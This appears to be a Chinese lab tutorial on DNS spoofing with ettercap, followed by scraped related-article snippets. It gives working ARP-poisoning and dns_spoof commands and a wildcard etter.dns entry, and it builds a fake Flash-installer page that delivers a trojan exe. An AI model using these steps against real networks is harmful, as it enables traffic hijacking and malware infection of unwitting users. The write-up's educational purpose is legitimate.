DNS欺骗的艺术 | 域名劫持和网页挂马

article/2025/9/23 16:38:31

0x00 免责声明

        本文仅限于学习讨论与技术知识的分享,不得违反当地国家的法律法规。对于传播、利用文章中提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本文作者不为此承担任何责任,一旦造成后果请自行承担!

        

        

0x01 前言

        DNS 全称 Domain Name System ,中文名称为域名系统。 DNS 是因特网的一项内核服务,可以将域名和 IP 地址相互映射,它作为一个分布式数据库能够让用户更加方便连接并使用互联网服务。 DNS 采用树形结构的方式来处理各个域名的分布。

DNS树形结构图

         

         

0x02 DNS欺骗原理

        DNS 欺骗也可以称为域名劫持, DNS 欺骗是攻击方篡改域名解析结果,将指向到此域名的 IP 地址修改为攻击方指定的 IP 地址。这样就可以使攻击方达到网页钓鱼和域名劫持的目的。

DNS欺骗原理流程图

        因为 DNS 协议存在设计缺陷,在 DNS 报文中只使用一个序列号来进行有效性鉴别,并未提供其它的认证和保护手段,这使得攻击者可以轻松监听到查询请求数据,并伪造 DNS 应答包给 DNS 客户端,从而实现 DNS 欺骗攻击。

        

        

0x03 DNS攻击类型

DNS欺骗:当然,本文就是采用这种方式。攻击方欺骗用户访问到建立好的虚假网站或钓鱼网站达到攻击目的。

DNS重绑:DNS 重绑利用浏览器缓存欺骗用户浏览器键入域名时同时链接恶意站点。

DNS隧道:DNS 隧道主要是一种方法,通过 DNS 隧道可以绕过防火墙或网站过滤器,并建立数据传输通道。

DNS拼写仿冒:DNS拼写仿冒是社工技术的一种方法,攻击方注册一个和网站相似的域名来混淆用户。常见在登录密码以及识别验证方面。

        

        

0x04 环境说明

kali虚拟机(192.168.1.3)
windows 10笔记本(192.168.1.10)
项目地址:https://github.com/NepoloHebo/Art-of-DNS-Deception

        文中使用 kali 系统在虚拟机桥接网络的环境下进行示范。演示过程中使用到的工具在 Github 上可以免费下载。演示过程会对地址为 HTTP 协议开头的网站进行 DNS 欺骗演示,至于为什么不使用 HTTPS 协议开头的网站演示后文会做出详细的叙述。

         

         

 0x05 信息收集

        攻击前需要对网关存活的 IP 进行扫描,使用 Namp 端口扫描神器扫一下网关。

        

查看kali虚拟机的IP地址

ip addr

         

查看kali虚拟机的网关地址

route -n

        

使用Nmap扫描192.168.1.1/24网段上有哪些主机是存活的

nmap -sP 192.168.1.1/24

         

         

0x06 域名劫持 

        域名劫持,将通过伪造应答包对目标主机实施欺骗。

        

使用vim编辑器打开etter.dns文件

vim /etc/ettercap/etter.dns

        

使用vim编辑器编辑etter.dns文件,保存并退出

*        A    192.168.1.3
*        PTR  192.168.1.3

解释说明:

        * 符号表示通配符,意思是执行 DNS 欺骗后目标主机访问的所有 URL 全部通过 A 记录解析域名到 IP 地址,通过 PTR 记录解析 IP 地址到域名。

        

启动apache2服务

        Apache 是世界使用排名第一的 Web 服务器软件。 kali 系统中可以通过命令启动 apache2 服务,在文中使用 apache2 服务主要用来演示域名劫持和网页挂马。

service apache2 start

        

查看apache2启动状态

service apache2 status

        

浏览器访问apache2

192.168.1.3        #kali虚拟机IP地址

        

使用ettercap命令实现域名劫持

ettercap -i eth0 -T -M arp:remote -P dns_spoof /192.168.1.10// /192.168.1.1//

        

通过目标主机访问网站进行验证

        这里访问了两个基于 HTTP 协议的网址和一个使用 HTTPS 协议的百度。可以发现使用 HTTP 协议的网址均受到 DNS 欺骗,访问时地址被重定向到 kali 主机开启的 apache2 服务中。而 DNS 欺骗对百度不生效。

        

        

0x07 网页挂马 

        文章主要描述 DNS 欺骗其带来的危害性。对于如何使用 CS 免杀制作 Flash 木马捆绑这里不再详细介绍。

        

将Github下载的项目移动到kali虚拟机中

        

将Flash-HTML中的js文件和html复制到apache2服务的html文件夹下,Flash插件也一并拽入

/var/www/html        #apache2服务的html目录

        

修改js文件,设置下载链接,保存并退出

<div id='button' onclick=window.location.href='./flashplayerax_install_cn_web.exe'></div>

解释说明:

        ./flashpl..._cn_web.exe                #对应目录为 /var/www/html/flash.js 

        flash/flashpl..._cn_web.exe        #对应目录为 /var/www/html/flash/flash.js 

        

再次使用ettercap命令实现域名劫持

ettercap -i eth0 -T -M arp:remote -P dns_spoof /192.168.1.10// /192.168.1.1//

        

通过目标主机访问网站进行验证

         浏览器会对 http 协议的网站做出提示,如图(2)下载的文件被报告为不安全。当目标主机点击运行 Flash 钓鱼插件后,攻击主机查看监听发现目标主机已经上线。

         

         

0x08 为什么无法欺骗HTTPS

        通过上述实验已经对 DNS 欺骗有了一定的认识,但是实验过程为什么无法对 HTTPS 协议的网站实施欺骗?因为 HTTPS 协议是基于 HTTP 协议明文通道的基础上增加了 SSL 加密通道。SSL 协议是用于解决传输层安全问题的网络协议。

        通过加密保护确保传输数据的机密性,同时也保障了服务器身份的真实性。 SSL 协议对服务器身份的验证,这时使用 DNS 劫持会导致错误请求被驳回这一非法请求。当然,对使用 HTTPS 协议的网站实施 DNS 欺骗也并非无法实现,只不过这一攻击手段颇有挑战。

        

        

0x09 参考文献 

[1].MBA智库·百科. DNS[EB/OL]. 2014-4-20[2022-09-26]. https://wiki.mbalib.com/wiki/DNS#DNS.E7.9A.84.E5.8A.AB.E6.8C.81.

[2].黑帽子科技. DNS劫持的工作原理及应对方法[EB/OL]. 2021-02-02[2022-09-26]. https://zhuanlan.zhihu.com/p/348711884#:~:text=DNS%EF%BC%88%E5%9F%9F%E5%90%8D%E7%B3%BB%E7%BB%9F,%E7%BD%91%E7%BB%9C%E6%9C%8D%E5%8A%A1%E7%9A%84%E7%9B%AE%E7%9A%84%E3%80%82.

[3].闫伯儒; 方滨兴; 李斌; 王垚. DNS欺骗攻击的检测和防范[C]. //信息科技, 哈尔滨: 哈尔滨工业大学国家计算机信息内容安全重点实验室, 2006-11-05.

[4].我是大王123. DNS安全威胁及未来发展趋势的研究[EB/OL]. [2022-09-26]. https://www.freebuf.com/articles/network/169175.html.

[5].九三. 为什么https可以防止dns劫持[EB/OL]. [2022-09-26]. https://www.yisu.com/ask/872.html.

[6].网络豆. DNS服务器[EB/OL]. [2022-09-26]. https://blog.csdn.net/yj11290301/article/details/127020879?spm=1001.2014.3001.5502.

         

         

0x10 总结

由于作者水平有限,文中若有错误与不足欢迎留言,便于及时更正。


http://chatgpt.dhexx.cn/article/1sUuSJ6b.shtml

相关文章

DNS欺骗原理及工作工程分析

DNS欺骗 DNS欺骗是这样一种中间人攻击形式&#xff0c;它是攻击者冒充域名服务器的一种欺骗行为&#xff0c;它主要用于向主机提供错误DNS信息&#xff0c;当用户尝试浏览网页&#xff0c;例如IP地址为XXX.XX.XX.XX &#xff0c;网址为www.bankofamerica.com&#xff0c;而实际…

DNS内网欺骗(仅供参考)

DNS内网欺骗(仅供参考) 下面展示一些 内联代码片。 //启动apche2 systemctl start apache2 在/var/www/html/目录下添加index.html访问页面//修改文件 leafpad /etc/ettercap/etter.dns//添加一下内容 * A 192.168.1.34 * PTR 192.168.1.34 *.*.com A 192.168.1.34 //* 表…

DNS 欺骗原理

DNS欺骗 DNS欺骗是这样一种中间人攻击形式&#xff0c;它是攻击者冒充域名服务器的一种欺骗行为&#xff0c;它主要用于向主机提供错误DNS信息&#xff0c;当用户尝试浏览网页&#xff0c;例如IP地址为XXX.XX.XX.XX &#xff0c;网址为www.bankofamerica.com&#xff0c;而实际…

DNS欺骗实验过程和分析

目录 1、实验准备 2、实验图 3、配置DNS转发器 4、DNS欺骗环境 1、实验准备 win10和server均设置为桥接模式&#xff0c;将win10的DNS指向server win10:192.168.223.165 server&#xff1a;192.168.223.245 2、实验图 3、配置DNS转发器 此时win可以nslookup 4、DNS欺骗…

DNS欺骗原理

简而言之就是&#xff1a;用伪装的DNS服务器截获请求域名的IP&#xff0c;再发送给伪装的web服务器。查询特定域名的IP时&#xff0c;将得到伪造的IP&#xff0c;打开事先准备好的虚假页面

如何防护DNS欺骗攻击

除了CC攻击、DDoS攻击&#xff0c;还有一种DNS欺骗攻击也是经常常见的&#xff0c;那什么是DNS欺骗攻击呢&#xff1f;它的原理是什么&#xff1f;该如何防御&#xff1f; DNS欺骗攻击&#xff0c;属于DNS攻击中的一种&#xff0c;DNS欺骗就是攻击者在域名解析请求的过程中冒充…

DNS欺骗攻击及如何防护

域名系统(Domain Name System,DNS)是一个将Domain Name和IP Address进行互相映射的Distributed Database。DNS是网络应用的基础设施&#xff0c;它的安全性对于互联网的安全有着举足轻重的影响。但是由于DNS Protocol在自身设计方面存在缺陷&#xff0c;安全保护和认证机制不健…

DNS欺骗

DNS欺骗 本文仅供学习参考&#xff0c;切勿在真实环境下操作&#xff01;不听话的出现后果和我没关系&#xff01;&#xff01;! 文章目录 DNS欺骗实验目的实验原理环境准备操作步骤最后的最后 实验目的 kali Linux下用Ettercap在局域网中使用DNS欺骗 实验原理 有一个欺骗者…

DNS欺骗实验

实验准备&#xff1a; 三台虚拟机&#xff0c;Kali&#xff0c;win10&#xff0c;win2016 servers。 一、实验环境搭建 设置Kali Linux主机、Windows Server 2016服务器与Windows 10在同一可以上网的网段。我们就整个简单的&#xff0c;把三个虚拟机都桥接。接下来我教大家…

网络安全基础——DNS欺骗

本人声明整个过程完全是为了进行实验学习&#xff0c;并没有侵犯任何人的权益 DNS原理 实质是域名解析协议&#xff0c;&#xff0c;假设一企业员工上班浏览网页&#xff0c;他会在浏览器里输入http://www.xxxxxx.com这个网站域名&#xff0c;输入之后他的电脑并不知道这是个…

DNS解析过程及欺骗原理

什么是DNS DNS即地址解析协议&#xff0c;域名系统以分布式数据库的形式将域名和IP地址相互映射。 解析过程&#xff1a; 假如我们要访问 www.baidu.com &#xff0c;首先要向本地DNS服务器发出DNS请求&#xff0c;查询 www.baidu.com 的IP地址&#xff1b; 如果本地DNS服务器…

网络安全入门学习第十课——DNS欺骗

文章目录 一、DNS概念1、DNS是什么&#xff1f;2、DNS欺骗是什么&#xff1f; 二、DNS欺骗复现1、环境&#xff1a;2、使用工具&#xff1a;3、开始复现3.1、开启攻击者的web服务3.2、修改/etc/ettercap/etter.dns3.3、启动ettercap&#xff0c;配置目标3.4、开始攻击3.5、检查…

网络攻防技术——DNS欺骗

一、题目 本实验的目标是让学生获得对DNS&#xff08;域名系统&#xff09;的各种攻击的第一手经验。DNS是互联网的电话簿&#xff1b;它将主机名转换为IP地址&#xff0c;反之亦然。这种转换是通过DNS解析实现的&#xff0c;这种解析发生在幕后。DNS欺骗攻击以各种方式操纵此…

DNS欺骗-教程详解

目录 一、环境 二、dns欺骗原理 三、dns欺骗操作 四、dns欺骗的危害 五、dns欺骗的防御 一、环境 VMware下的kali&#xff08;攻击机&#xff09;、Windows 7 x64&#xff08;目标机&#xff09; kali下载链接&#xff1a; https://blog.csdn.net/Stupid__Angel/articl…

cetus权限连接主从mysql_cetus/cetus-rw.md at master · eimens/cetus · GitHub

Cetus 读写分离版使用指南 简介 Cetus 读写分离版将前端发来的读请求和写请求分别发送到不同的服务器后端&#xff0c;由于底层的数据库都是Master/Slave架构&#xff0c;做到读写分离能大大提高数据库的处理能力。 安装部署 准备 1. MySQL 搭建MySQL主从关系 若开启主从延迟检…

网易中间件Cetus开源啦

Cetus的诞生 网易电商近年来业务呈现爆发式增长,原架构环境下,数据库的性能和吞吐量已无法应对其带来的巨大压力,为彻底解决数据库的瓶颈,Cetus应运而生。Cetus由网易乐得专家技术团队领队,经多部门协调合作设计出来的优秀中间件。具有正统基因,基于官方MySQL Proxy的版…

031:Cetus sharding

目录 一、主机环境二、搭建环境 1、准备环境三、Cetus安装 1、下载包和安装依赖包2、Cetus安装 1.安装说明2.安装实施四、Cetus配置 1、创建和修改配置文件2、启动cetus3、导入数据4、验证cetus分库功能五、Cetus测试各种限制 1、JOIN的使用限制2、DISTINCT的限制3、CASE WHEN/…

cetus权限连接主从mysql_网易开源中间件 -Cetus监控模块

01 概述 本文主要对Cetus的监控模块的使用及原理进行介绍&#xff0c;并介绍Cetus使用过程中&#xff0c;监控模块常见的问题及解决方法。 Cetus监控模块拥有独立的监控线程&#xff0c;主要是对Cetus后端各个MySQL实例进行监控&#xff0c;监控的内容主要包括三方面&#xff1…

cetus(cetus talk)

Cetus公司于1991年退出什么&#xff1f; Cetus公司于1991年推出一种rTthReverseTran&#xff0d;scriptase,有很好的依赖于RNA的耐热DNA聚合酶活性和依赖于DNA的耐热DNA聚合酶活性&#xff0c;二种活性分别依赖于Mn2Mg2&#xff0c;这样就可分别控制酶活性 Cetus公司于1991年退…

cetus权限连接主从mysql_cetus/cetus-rw.md at master · session-replay-tools/cetus · GitHub

Cetus 读写分离版使用指南 简介 Cetus 读写分离版将前端发来的读请求和写请求分别发送到不同的服务器后端&#xff0c;由于底层的数据库都是Master/Slave架构&#xff0c;做到读写分离能大大提高数据库的处理能力。 安装部署 准备 1. MySQL 搭建MySQL主从关系 若开启主从延迟检…